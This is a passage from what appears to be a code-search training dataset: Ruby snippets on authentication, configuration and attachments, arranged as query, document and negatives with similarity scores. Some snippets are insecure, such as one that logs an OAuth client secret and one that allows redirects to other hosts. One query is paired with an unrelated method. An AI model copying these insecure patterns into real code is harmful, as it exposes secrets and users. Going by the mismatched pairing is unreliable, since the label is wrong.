handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def default_oauth_fail\n auth = request.env['omniauth.auth']\n session.delete(\"devise.#{auth.provider.to_s}_data\")\n flash[:alert] = @user.errors.to_a[0] if @user.errors\n redirect_to auth.fail_redirect\n end", "def cleared_required\n if current_user\n if current_user.cleared\n return\n end\n raise 'Du är ännu inte godkänd för att tippa.'\n end\n redirect_to \"/login\", notice: 'Logga in för att tippa.'\n end", "def verify\n @authentications = current_user.authentications if current_user\n if current_user\n # flash[:notice] = \"All signed in. Welcome back, #{current_user.handle}!\"\n redirect_to after_sign_in_path_for(current_user), notice: \"All signed in. Welcome back, #{current_user.handle}!\"\n end\n @auth_delete = true\n @auth_context = :manage\n smartrender\n end", "def access_denied\n case content_type\n when :html\n store_location\n redirect url(:login)\n when :xml\n basic_authentication.request\n end\n end", "def httpdigest_logout\n session.delete(SESSION_NONCE)\n session.delete(SESSION_OPAQUE)\n end", "def redirect_unauthenticated\n store_location\n flash[:error] = \"Please sign to access that page\"\n redirect_to root_path\n throw :halt\n end", "def allow_client_to_handle_unauthorized_status\n headers.delete('WWW-Authenticate')\n end", "def handle_unverified_request\n sign_out\n end", "def handle_unverified_request\n sign_out\n end", "def handle_unverified_request\n sorcery_config.before_unverified_request.each do |callback|\n send(callback)\n end\n @current_user = nil\n super # call the default behaviour which resets the session\n end", "def handle_unverified_request\n super\n render :text => \"Forgery protection token was not present.\", :status => :unauthorized\n end", "def ensure_auth_token!\n reset_auth_token! if auth_token.blank?\n end", "def restrict_access\n api_key = APIKey.find_by(access_token: params[:access_token])\n render plain: \"You aren't authorized, buster!\", status: 401 unless api_key\n end", "def access_denied\n case content_type\n when :html\n store_location\n redirect url(:login)\n when :xml\n headers[\"Status\"] = \"Unauthorized\"\n headers[\"WWW-Authenticate\"] = %(Basic realm=\"Web Password\")\n set_status(401)\n render :text => \"Couldn't authenticate you\"\n end\n end", "def clear_grants_hack()\n self.grants.clear\n end", "def access_denied\n if @current_user\n render_401\n else\n redirect_to \"#{FUSESOURCE_URL}/login?return_to=#{external_url_to(request.request_uri)}\"\n end\n end", "def destroy_restricted!\n flash.now[:error] = \"Non è possibile cancellare questo record poichè è collegato ad altre informazioni!\"\n respond_to do |format|\n format.html { render partial: 'errors/401', status: 401 && return }\n format.turbo_stream {\n render turbo_stream: [ turbo_stream.replace(:flashes, partial: \"flashes\") ]\n }\n end\n end", "def clear_uploaded_trusted_anchor\n authorize!(:upload_trusted_anchor)\n\n @upload_cancelled = true\n\n clear_temp_anchor_data\n\n render_json_without_messages\n end", "def reset\n session.delete(:access_token)\n session.delete(:refresh_token)\n redirect('/auth/gowalla')\n end", "def unauthorized\n respond_to do |format|\n format.html do\n if admin?\n flash.now[:error] = I18n.t(:authorization_failure)\n redirect_to login_path and return\n elsif current_user || admin?\n flash.now[:error] = I18n.t(:authorization_failure)\n render 'shared/unauthorized'\n else\n store_location\n redirect_to login_path and return\n end\n end\n format.xml do\n request_http_basic_authentication 'Web Password'\n end\n format.json do\n render :text => \"Not Authorized \\n\", :status => 401\n end\n end\n end", "def logout\r\n clear_login_data\r\n redirect_to(params[:return_to] || '/', allow_other_host: true)\r\nend", "def deny_authorize\n logger.debug \"Session response_type: #{session[:response_type]}\"\n logger.debug \"Session client_id: #{session[:client_id]}\"\n logger.debug \"Session client_secret: #{session[:client_secret]}\"\n logger.debug \"Session state: #{session[:state]}\"\n app = App.where(id: session[:client_id]).first\n # Clear the session\n destroy_session\n # Redirect with error\n redirect_to app.redirect_uri + '?error=access_denied'\n end", "def deny_access\n\t\tstore_location\n\t\tredirect_to signin_path, :notice => \"Please sign in to access this page.\"\n\tend" ]
[ "0.63735783", "0.63290995", "0.6288825", "0.6064729", "0.5933692", "0.59201676", "0.59133667", "0.5911094", "0.5766515", "0.57631874", "0.5725014", "0.5706251", "0.56905746", "0.56879145", "0.56499785", "0.56417894", "0.56168437", "0.5616596", "0.5608587", "0.5605405", "0.5596298", "0.558933", "0.555899", "0.5551376", "0.55508864", "0.5543657", "0.5514565", "0.5511055", "0.55106163", "0.5495924", "0.54935575", "0.54935575", "0.54935575", "0.54922146", "0.5483663", "0.5475091", "0.54716986", "0.54568434", "0.5449965", "0.5395305", "0.53713", "0.53713", "0.53713", "0.53713", "0.53713", "0.53713", "0.5364517", "0.536261", "0.53563577", "0.5347462", "0.53473985", "0.53323454", "0.53261065", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5321833", "0.5307493", "0.53037477", "0.5296091", "0.52863127", "0.52730536", "0.5272397", "0.52691734", "0.52675116", "0.52675116", "0.5265072", "0.52523994", "0.52512974", "0.52480376", "0.523933", "0.5238381", "0.5228804", "0.5228017", "0.52255905", "0.5221259", "0.5216808", "0.5213094", "0.52121377", "0.5211095" ]
0.6263952
3
Convenience methods for accessing configuration values
def find_by_oauth2_method self.class.find_by_oauth2_method end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get(key)\n\t\t\treturn @config[key]\n\t\tend", "def get(name)\n @config[name]\n end", "def configuration\n return @children['configuration'][:value]\n end", "def [](k)\n @my_conf[k]\n end", "def get(key)\n self.config[key]\n end", "def [](k)\n @config[k]\n end", "def [](key)\n ensure_config_loaded!\n if setting = setting_for(key.to_s)\n setting.value\n end\n end", "def config\n @options[:config]\n end", "def [](var)\n return @config[var]\n end", "def get_config\n\t\tend", "def configuration\n Configuration::get\n end", "def configuration\n Configuration::get\n end", "def [](key)\n config[key]\n end", "def get_config(key)\n config.__send__(key)\n end", "def [](key)\n configuration[key]\n end", "def [](key)\n @config[key]\n end", "def [](key)\n config[key]\n end", "def [](key)\n @config[key]\n end", "def [](key)\n @configuration[key.to_s]\n end", "def config\n info['Config']\n end", "def get!(key)\n rv = @config.get(key)\n return rv\n end", "def get_values()\n\t\t\treturn @config.values\n\t\tend", "def config\n configuration\n end", "def [](key)\n load_config unless @config\n @config[key]\n end", "def [](key)\n @config[key]\n end", "def addr; @configuration['addr']; end", "def value\n get_lxd_config_value(resource[:config])\n end", "def get_actual_config\n @config\n end", "def config\n overview[\"config\"]\n end", "def [](configuration)\n @config[configuration]\n end", "def get(key)\n @config_hash[key]\n end", "def [](key)\n configuration[key.to_sym]\n end", "def config_value\n @config_value ||= `#{CONFIG_CMD}`\n end", "def get_config(key)\n\t\t@conn.config.get_property(key, '')\n\tend", "def fetch_config_value(key)\n valid_value = valid_config_value(::NewRelic::Agent.config[key].to_s.to_sym)\n ::NewRelic::Agent.logger.debug(\"Using #{valid_value} configuration value for #{self.name} to configure instrumentation\")\n return valid_value\n end", "def config\n @payload.fetch('config')\n end", "def config\n @config ||= read_config\n end", "def c\n configuration\n end", "def app_config_key_value\n return @app_config_key_value\n end", "def c\n configuration\n end", "def [](name)\r\n load\r\n @config[name]\r\n end", "def get_config()\n return @api.do_request(\"GET\", get_base_api_path() + \"/config\")\n end", "def [](key)\n resolved_config[key]\n end", "def config_for_key(key)\n settings.config[key]\n end", "def config(value,options)\n\n end", "def config(value,options)\n\n end", "def config_value(pid, key)\n require 'json'\n\n raw_json = `/opt/scripts/CQ-Unix-Toolkit/cqcfg \\\n -u admin \\\n -p admin \\\n -i http://localhost:4502 \\\n -j #{pid}`\n\n out = JSON.parse(raw_json)['properties'][key]['value']\n out = JSON.parse(raw_json)['properties'][key]['values'] if out.nil?\n\n out\n end", "def [](name)\n @configs[name]\n end", "def [](name)\n @configs[name]\n end", "def value\n\n configuration_value = nil\n \n matching_parent = match_parent_configuration do |this_parent_configuration|\n this_parent_configuration.has_value? ? true: false\n end\n\n if matching_parent\n configuration_value = matching_parent.local_value\n end\n \n return configuration_value\n \n end", "def config\n @config\n end", "def [](path)\n parts = path.to_s.split('.')\n result = @configuration\n\n parts.each do |k|\n result = result[k]\n\n break if result.nil?\n end\n\n result\n end", "def config\r\n @configuration\r\n end", "def actual_config\n Config.instance\n end", "def get_settings\n settings.get\n end", "def configuration\n self[:configuration]\n end", "def config_value(subject)\n return nil if self.config(subject).nil?\n self.config(subject).value\n end", "def general\n config['general']\n end", "def [](attr)\n config[attr]\n end", "def get(key)\n key = key.to_s\n %w(local_config app_config m2mhub_config).each do |config_key|\n if (config = @yaml_config[config_key])\n if config_key == 'app_config'\n next unless config = config[Rails.env.downcase]\n end\n if config.member?(key)\n return config[key]\n end\n end\n end\n nil\n end", "def config\n XConfig::Core.fetch(self)\n end", "def config\n Setting[klass_name]\n end", "def config_for(key, value)\n \"#{key}=#{value && value}\\n\"\n end", "def [](key)\n (@configuration ||= setup)[key]\n end", "def [](key)\n (@configuration ||= setup)[key]\n end", "def config\n \n # TODO: Re-enable:\n # # Display the value for a specific machine.\n # $ rudy -e prod -r db config param-name\n \n if @@config.nil? || @@config.empty?\n return if @@global.quiet\n raise Rudy::NoConfig\n end\n\n outform = @@global.format == :json ? :to_json : :to_yaml\n \n types = @option.marshal_dump.keys & @@config.keys # Intersections only\n types = @@config.keys if @option.all\n types = [:machines] if types.empty?\n \n if @option.project\n rf = File.join(RUDY_HOME, 'Rudyfile')\n raise \"Cannot find: #{rf}\" unless File.exists?(rf)\n li File.read(rf)\n \n elsif @option.script\n conf = fetch_script_config\n li conf.to_hash.send(outform) if conf\n \n else\n #li \"# ACCOUNTS: [not displayed]\" if types.delete(:accounts)\n types.each do |conftype|\n li \"# #{conftype.to_s.upcase}\"\n next unless @@config[conftype] # Nothing to output\n if conftype == :accounts\n skey = @@config[conftype][:aws][:secretkey]\n @@config[conftype][:aws][:secretkey] = hide_secret_key(skey)\n end\n \n li @@config[conftype].to_hash.send(outform)\n end\n end\n \n end", "def configuration\n _get(\"/system/configuration\") { |json| json }\n end", "def retriable_configuration\n Take2::Configuration::CONFIG_ATTRS.each_with_object({}) do |key, hash|\n hash[key] = send(key)\n end\n end", "def lookup_config(name)\n\t\tend", "def configuration\n self[:configuration] || {}\n end", "def config_get(id)\n Configuration.get(id)\n end", "def get_config_value(label, default)\n if Config.include?(:ldap) && Config[:ldap].include?(label)\n Config[:ldap][label]\n else\n default\n end\n end", "def get(key)\n settings.find_by_key(key).try(:value)\n end", "def get_config(key)\n if config.key? key\n config[key]\n else\n application.default_config[key]\n end\n end", "def configuration(name)\n Alchemy::Config.get(name)\n end", "def [] key\n @config[key.to_s]\n end", "def config\n @config\n end", "def config\n @config\n end", "def config\n @config\n end", "def config\n site.config\n end", "def get name, default: nil\n name_str = name.to_s\n name_sym = name.to_sym\n\n value = nil\n found = false\n @config.each do |configfile|\n if value = configfile[:config][name_str] or value = configfile[:config][name_sym]\n found = true\n break\n end\n end\n value = default if value.nil? and not found\n value\n end", "def config\n @config_file\n end", "def get_property(name)\n Config::Collection.get(name)\n end", "def method_missing(sym, *args)\n Configuration.fetch(sym, '')\n end", "def config=(value); end", "def config\n @config\n end", "def inspect\n @config.inspect\n end", "def value(arg1, arg2 = nil) # :nodoc:\n warn('Config#value is deprecated; use Config#get_value')\n if arg2.nil?\n section, key = 'default', arg1\n else\n section, key = arg1, arg2\n end\n section ||= 'default'\n section = 'default' if section.empty?\n get_key_string(section, key)\n end", "def reference\n :config\n end", "def reference\n :config\n end", "def method_missing(name, *args, &blk)\n return self[name.to_s] if has_key?(name.to_s)\n return self['config'][name.to_s] if self['config'] && self['config'].has_key?(name.to_s)\n super(name, *args, &blk)\n end", "def method_missing(name, *args, &blk)\n return self[name.to_s] if has_key?(name.to_s)\n return self['config'][name.to_s] if self['config'] && self['config'].has_key?(name.to_s)\n super(name, *args, &blk)\n end", "def config\n machined.config\n end", "def config_setting\n @config_access_name = \"config_setting\"\n @setting ||= Setting.new(ContainerAdapter.new(self))\n end", "def [](k)\n keys = k.to_s.split('/')\n result = read_settings(keys.shift)\n while result && keys.any?\n result = result[keys.shift]\n end\n result\n end", "def [](key)\n config[key.to_s] || config[key.to_sym]\n end", "def [](name)\n by_name(name).full?(&:value) || APP_CONFIG_DEFAULTS[name.to_s]\n end", "def config\n @config ||= load_config\n end", "def get\n unless key = shift_argument\n error(\"Usage: heroku config:get KEY\\nMust specify KEY.\")\n end\n validate_arguments!\n\n vars = api.get_config_vars(app).body\n key, value = vars.detect {|k,v| k == key}\n if options[:shell] && value\n out = $stdout.tty? ? Shellwords.shellescape(value) : value\n display(\"#{key}=#{out}\")\n else\n display(value.to_s)\n end\n end", "def setting(name)\n config[environment] && config[environment][name]\n end", "def config\n self.class.configuration_builder.configuration\n end" ]
[ "0.7376758", "0.73731166", "0.72893924", "0.72788167", "0.7276819", "0.7257226", "0.7235032", "0.712082", "0.708154", "0.7062403", "0.7060734", "0.7060734", "0.7025016", "0.7021631", "0.69920564", "0.6988838", "0.6964147", "0.6960662", "0.6948077", "0.69460154", "0.69344485", "0.69231814", "0.69169813", "0.691365", "0.6906974", "0.68595636", "0.6857489", "0.6805058", "0.6757727", "0.6735055", "0.67246604", "0.6723281", "0.6716986", "0.6698858", "0.66874075", "0.66813093", "0.66668206", "0.66581655", "0.66571784", "0.6642536", "0.66382307", "0.66329944", "0.66314", "0.6621319", "0.6611763", "0.6611763", "0.66047424", "0.66028523", "0.66028523", "0.6593149", "0.6588976", "0.6587159", "0.6586265", "0.6578517", "0.6569342", "0.6558473", "0.6540109", "0.6540012", "0.6539038", "0.651035", "0.64842534", "0.6475188", "0.6463564", "0.6458754", "0.6458754", "0.64569694", "0.64566183", "0.6444226", "0.6427689", "0.64044034", "0.64035046", "0.6399191", "0.63965327", "0.63888997", "0.63882357", "0.6388166", "0.6371867", "0.6371867", "0.6371867", "0.63516146", "0.6346229", "0.634273", "0.6330742", "0.63298255", "0.6311228", "0.63036376", "0.62967294", "0.6289342", "0.6288218", "0.6288218", "0.62691617", "0.62691617", "0.62647074", "0.62580603", "0.6256129", "0.6231466", "0.6224194", "0.62207097", "0.6218817", "0.62094545", "0.6207154" ]
0.0
-1
GET /attachments GET /attachments.json
def index @attachments = Attachment.all respond_to do |format| format.html # index.html.erb format.json { render json: @attachments } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @channel = Channel.find_by_name(params[:channel_id])\n @attachments = @channel.attachments.order(\"created_at DESC\")\n\n respond_to do |format|\n format.json { render :json => @attachments.to_json(:methods => :url) }\n end\n end", "def attachments\n Easybill::Api::Attachments\n end", "def get_attachment(id)\n response = conn.get 'api/files/attachments/' + id\n\n unless response.status == 200\n error_model = JSON.load(response.body)\n mailosaur_error = Mailosaur::MailosaurError.new('Operation returned an invalid status code \\'' + response.status.to_s + '\\'', error_model)\n raise mailosaur_error\n end\n\n response.body\n end", "def get_email_attachments\n\t\tresp = @resp\n\n\t\tparams[\"email\"] ||= \"\"\n\t\tparams[\"password\"] ||= \"\"\n\n\t\t# Authorize and process attachments in mail account\n\t\tresp = Resume.gmail_attachments(resp, params)\n\n\t\trender :json => resp\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end", "def show\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment }\n end\n end", "def attachments(*params)\n id = params[0]\n unnamed = params[1]\n if params[0].class == Hash\n params = params[0]\n id = params[:id] if params.has_key? :id\n unnamed = params[:unnamed] if params.has_key? :unnamed\n end\n unnamed = false if unnamed.to_s == \"0\"\n id = $~[1] if id =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{id}/attachments\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss the HTTP response\n resp.gsub!(/^\\n/m,\"\") # toss blank lines\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n th = response_to_h(resp)\n list = []\n pattern = /(\\d+:\\s.*?\\))(?:,|$)/\n match = pattern.match(th['attachments'].to_s)\n while match != nil\n list.push match[0]\n s = match.post_match\n match = pattern.match(s)\n end\n attachments = []\n list.each do |v|\n attachment = {}\n m=v.match(/(\\d+):\\s+(.*?)\\s+\\((.*?)\\s+\\/\\s+(.*?)\\)/)\n if m.class == MatchData\n next if m[2] == \"(Unnamed)\" and !unnamed\n attachment[:id] = m[1]\n attachment[:name] = m[2]\n attachment[:type] = m[3]\n attachment[:size] = m[4]\n attachments.push attachment\n end\n end\n attachments\n end", "def index\n @attachments = Attachment.all\n end", "def index\n @attachments = Attachment.all\n end", "def index\n @attachments = Attachment.all\n end", "def index\n @attachments = Attachment.all\n end", "def index\n @attachments = Attachment.all\n end", "def attachments\n @attachments\n end", "def get_all_attachments(page_id)\n\n url = \"#{@@conf_url}/#{@@urn}/#{page_id}/child/attachment?os_username=#{@@login}&os_password=#{@@pwd}&status=current\"\n\n begin\n atts = RestClient.get url, :content_type => 'application/json', :accept => 'json'\n rescue RestClient::ExceptionWithResponse => e\n puts Nokogiri.XML(e.response)\n nil\n end\n\n unless atts.nil?\n JSON.parse(atts)[\"results\"]\n end\n end", "def get_issue_attachments(issue_id_or_key)\n get(\"issues/#{issue_id_or_key}/attachments\")\n end", "def show\n @message_attachment = MessageAttachment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_attachment }\n end\n end", "def list_attachments\n @artifact_answer = ArtifactAnswer.find(params[:id])\n @attachments = @artifact_answer.attachments\n render layout: false\n end", "def attachments(message_id, params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Email/#{message_id}/Attachment\", params: params)\n end", "def get_attachment(name)\n\n unless (model.properties.has_property?(:attachments) &&\n model.properties[:attachments].type == DataMapper::Types::JsonObject &&\n model.properties[:attachments].field == :_attachments)\n raise ArgumentError, \"Attachments require ' property :attachments, JsonObject, :field => :_attachments'\"\n end\n\n unless self.id && self.attachments && self.attachments[name]\n nil\n else\n http = Net::HTTP.new(repository.adapter.uri.host, repository.adapter.uri.port)\n uri = attachment_path(name)\n response, data = http.get(uri, { 'Content-Type' => self.attachments[name]['content_type'] })\n\n unless response.kind_of?(Net::HTTPSuccess)\n nil\n else\n data\n end\n end\n\n end", "def attachments\n parts.attachments\n end", "def attachments\n @attachments ||= []\n end", "def retrieve_attachment(name)\n { :file => RestClient.get(\"#{ uri }/#{ CGI.escape(name) }\"),\n :content_type => JSON.parse(RestClient.get(uri))['_attachments']['name'] }\n end", "def attachments(params={})\n raise ArgumentError, \"Error: ids or attachment_ids must be set\" unless params[:ids] || params[:attachment_ids]\n rpc_call :attachments, params\n end", "def get_attachment(*params)\n tid = params[0]\n aid = params[1]\n dir = nil\n dir = params[2] if params.size > 2\n if params[0].class == Hash\n params = params[0]\n tid = params[:ticket] if params.has_key? :ticket\n aid = params[:attachment] if params.has_key? :attachment\n dir = params[:dir] if params.has_key? :dir\n end\n tid = $~[1] if tid =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{tid}/attachments/#{aid}\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss HTTP response\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n headers = response_to_h(resp)\n reply = {}\n headers.each do |k,v|\n reply[\"#{k}\"] = v.to_s\n end\n content = resp.match(/Content:\\s+(.*)/m)[1]\n content.gsub!(/\\n\\s{9}/,\"\\n\") # strip leading spaces on each line\n content.chomp!\n content.chomp!\n content.chomp! # 3 carriage returns at the end\n if (RUBY_VERSION.to_f >= 1.9)\n binary = content.encode(\"ISO-8859-1\",\"UTF-8\", { :invalid => :replace, :undef => :replace })\n else\n binary = Iconv.conv(\"ISO-8859-1\",\"UTF-8\",content) # convert encoding\n end\n if dir\n fh = File.new(\"#{dir}/#{headers['Filename'].to_s}\",\"wb\")\n fh.write binary\n fh.close\n else\n reply[\"content\"] = binary\n end\n reply\n end", "def show\n @attachments = @document.attachments\n respond_to do |format|\n format.html\n format.js\n end\n end", "def attachments\n load_object\n load_attachments\n render layout: false\n end", "def attachments\n if attachment_ids\n attachment_ids.map {|id| Attachment.find(id)}\n else\n []\n end\n end", "def get_attachment(attachment_id)\n params = {'key' => @api_key}\n RestClient.get(\"#{@base_uri}/attachment/#{attachment_id}\", {:params => params}).body\n end", "def attachments\n @_message.attachments\n end", "def attachments\n return @attachments\n end", "def attachments\n return @attachments\n end", "def attachments\n return @attachments\n end", "def index\n @post_attachments = PostAttachment.all\n end", "def index\n @post_attachments = PostAttachment.all\n end", "def show\n @attachment_datum = AttachmentDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attachment_datum }\n end\n end", "def getAttachment(attachmentId)\n params = Hash.new\n params['key'] = @API_KEY\n response = RestClient.get(@BASE_URI + '/attachment/' + attachmentId, {:params => params})\n return response.body\n end", "def index\n @attachments = @pad.attachments\n @attachment = @pad.attachments.new\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attachments }\n end\n end", "def get(\n id,\n deadline: nil\n )\n return @account_attachments.get(\n id,\n deadline: deadline,\n )\n end", "def get_attachments()\n\t\t\n\t\tmessages = list_of_messages()\n\n\t\t#Initializing Nested Hash so that we can store message_id, file_name and attachemnt id\n\t\tfiles= Hash.new { |l, k| l[k] = Hash.new(&l.default_proc) }\n\t\tmessages.each do |message_id|\n\t\t\n\t\t\t#Create a new request\n\t\t\trequest_url = \"https://www.googleapis.com/gmail/v1/users/#{@email}/messages/#{message_id}?access_token=#{@access_token}\"\n\n\t\t\t#GET REQUEST\n\t\t\tresponse = RestClient.get request_url\n\t\t\tresponse_body = JSON.parse(response.body)\n\n\t\t\t#Getting list of attachments based on message id\n\t\t\ttemp = response_body['payload']['parts']\n\t\t\ttemp.each do |item|\n\t\t\t\tif item['filename'] !=''\n\t\t\t\t\tfiles[message_id][item['filename']]=item['body']['attachmentId']\n\t\t\t\tend\n\t\t\tend \n\t\tend\n\t\treturn files\n\tend", "def index\n @cms_attachments = Cms::Attachment.all\n end", "def get_attachment(name)\n assert_attachments_property\n\n attachment = self.attachments[name] if self.attachments\n\n unless self.id && attachment\n nil\n else\n adapter = repository.adapter\n http = Net::HTTP.new(adapter.uri.host, adapter.uri.port)\n uri = Addressable::URI.encode_component(attachment_path(name))\n response, data = http.get(uri, 'Content-Type' => attachment['content_type'])\n\n unless response.kind_of?(Net::HTTPSuccess)\n nil\n else\n data\n end\n end\n\n end", "def get_document_attachments(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_attachments_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_attachments_with_http_info(name, opts)\n else\n raise\n end\n return data\n end", "def retrieveImages\n posting = Posting.find(params[:id])\n post_attachments = posting.post_attachments.all\n respond_to do |format|\n format.json { render json: {\n status: 'ok',\n rowcount: post_attachments.length,\n results: post_attachments.map { |b| {\n id: b.id,\n imageData: b.image,\n description: b.description\n }}\n }}\n end\n end", "def get_file_attachments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NotesApi#get_file_attachments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_file_attachments\" if id.nil?\n \n # resource path\n path = \"/Notes/{id}/FileAttachments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIFileAttachment>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotesApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def attachment( document_id, attachment_id )\n new( :id => document_id ).attachments.get!( attachment_id )\n end", "def list_attachments_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AlertApi.list_attachments ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling AlertApi.list_attachments\"\n end\n if @api_client.config.client_side_validation && opts[:'alert_identifier_type'] && !['id', 'alias', 'tiny'].include?(opts[:'alert_identifier_type'])\n fail ArgumentError, 'invalid value for \"alert_identifier_type\", must be one of id, alias, tiny'\n end\n # resource path\n local_var_path = \"/v2/alerts/{identifier}/attachments\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'alertIdentifierType'] = opts[:'alert_identifier_type'] if !opts[:'alert_identifier_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListAlertAttachmentsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AlertApi#list_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def attachments\n process_message_body if !@attachments\n @attachments\n end", "def show\n @meeting = Meeting.find(params[:id])\n @json_from_file = 0\n for file in @meeting.file.attachments\n if file.content_type == 'application/json'\n download_file_from_s3('smartmeetingsbelieving', \"./tmp/\" + file.filename.to_s(), file.filename.to_s())\n @json_from_file = File.read(\"tmp/\" + file.filename.to_s())\n end\n end\n end", "def fetch_attachment(document_id, attachment_name)\n server.get(\"#{name}/#{CGI.escape(document_id)}/#{CGI.escape(attachment_name)}\", :no_json => true)\n end", "def attachments\n @attachments ||= begin\n return message.attachments unless message.attachments.empty?\n if full_text_part.nil? && full_html_part.nil?\n [ message ]\n else\n []\n end\n end\n end", "def attachments\n @attachments ||= ActiveStorage::Attachment.where(record_gid: record.to_gid.to_s, name: name)\n end", "def index\n @user_attachments = UserAttachment.all\n end", "def list_attachments(identifier, opts = {})\n data, _status_code, _headers = list_attachments_with_http_info(identifier, opts)\n return data\n end", "def show\n @post_attachments = @post.post_attachments.all\n end", "def show\n @post_attachments = @post.post_attachments.all\n end", "def attachments\n mail&.attachments || []\n end", "def show\n # These are expected and required by the file_handler route: \"file_attachments/:content_type/:parent_id/:id\"\n id = params[:id]\n parent_id = params[:parent_id]\n \n case params[:content_type]\n when \"PrivateMessage\" \n # Only users involved in PM conversations can view attachments\n file_attachment = PrivateMessage.with_recipients.with_user(session[:user_id]).with_attachments.find(parent_id).file_attachments.find(id)\n when \"NewsArticle\"\n file_attachment = NewsArticle.include_attachments.find(parent_id).file_attachments.find(id)\n else \n end\n \n # Sanitize path to ensure that the path is not pointing anywhere malicious on the server \n path = file_attachment.attachment.path\n raise MissingFile, \"Couldn't read #{file_attachment.attachment_file_name}\" unless\n File.readable?(path) and\n File.file?(path)\n \n send_file file_attachment.attachment.path, :type => file_attachment.attachment_content_type\n end", "def index\n @file_attachments = FileAttachment.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @file_attachments }\n end\n end", "def get_document_attachments_with_http_info(name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_document_attachments ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.get_document_attachments\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/attachments\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = 